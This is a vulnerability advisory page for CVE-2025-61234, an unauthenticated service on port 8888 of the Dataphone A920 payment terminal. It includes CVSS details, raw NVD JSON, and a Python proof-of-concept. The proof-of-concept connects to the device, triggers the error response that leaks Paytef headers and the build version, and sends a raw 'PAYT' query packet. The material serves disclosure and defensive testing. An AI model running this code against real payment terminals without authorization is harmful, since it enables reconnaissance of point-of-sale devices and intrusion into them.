Security Vulnerability Report
中文
CVE-2025-61234 CVSS 7.5 HIGH

CVE-2025-61234

Published: 2025-10-29 17:15:36
Last Modified: 2026-04-15 00:35:42

Description

Incorrect access control on Dataphone A920 v2025.07.161103 exposes a service on port 8888 by default on the local network without authentication. This allows an attacker to interact with the device via a TCP socket without credentials. Additionally, sending an HTTP request to the service on port 8888 triggers an error in the response, which exposes the functionality, headers identifying Paytef dataphone packets, and the build version.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Dataphone A920 v2025.07.161103

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import time def check_cve_2025_61234(target_ip, target_port=8888): """ CVE-2025-61234 PoC - Dataphone A920 Unauthenticated Access This PoC demonstrates the incorrect access control vulnerability in Dataphone A920 devices that exposes port 8888 without authentication. WARNING: Only use on systems you have permission to test. """ try: # Step 1: Establish TCP connection to port 8888 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Step 2: Send malformed HTTP request to trigger error response # The error response exposes Paytef dataphone packet headers, # build version, and internal functionality http_request = b"GET / HTTP/1.1\r\nHost: " + target_ip.encode() + b":8888\r\n\r\n" sock.send(http_request) # Step 3: Receive and analyze the error response response = sock.recv(4096) print(f"[+] Response received from {target_ip}:{target_port}") print(f"[+] Response length: {len(response)} bytes") # Step 4: Parse for sensitive information if b"Paytef" in response or b"dataphone" in response: print("[!] VULNERABLE: Paytef dataphone headers exposed") if b"2025.07.161103" in response: print("[!] VULNERABLE: Build version exposed") print("\n--- Response Content ---") print(response.decode('utf-8', errors='ignore')) sock.close() return True except socket.timeout: print("[-] Connection timeout - port may not be 8888 or host unreachable") return False except socket.error as e: print(f"[-] Socket error: {e}") return False def exploit_device_info(target_ip, target_port=8888): """ Extended exploitation - Query device for version information """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) # Send raw Paytef dataphone packet to query version # Packet format based on exposed headers query_packet = b"PAYT\x00\x01\x00\x00\x00\x0A\x00\x00\x00\x03\x00\x00\x00\x00\x00" sock.send(query_packet) time.sleep(1) response = sock.recv(2048) print("[+] Device response received") print(response.hex()) sock.close() except Exception as e: print(f"[-] Exploitation failed: {e}") if __name__ == "__main__": target = input("Enter target IP: ").strip() check_cve_2025_61234(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61234", "sourceIdentifier": "[email protected]", "published": "2025-10-29T17:15:36.330", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect access control on Dataphone A920 v2025.07.161103 exposes a service on port 8888 by default on the local network without authentication. This allows an attacker to interact with the device via a TCP socket without credentials. Additionally, sending an HTTP request to the service on port 8888 triggers an error in the response, which exposes the functionality, headers identifying Paytef dataphone packets, and the build version."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://github.com/stuxve/expose-service-8888-dataphone", "source": "[email protected]"}]}}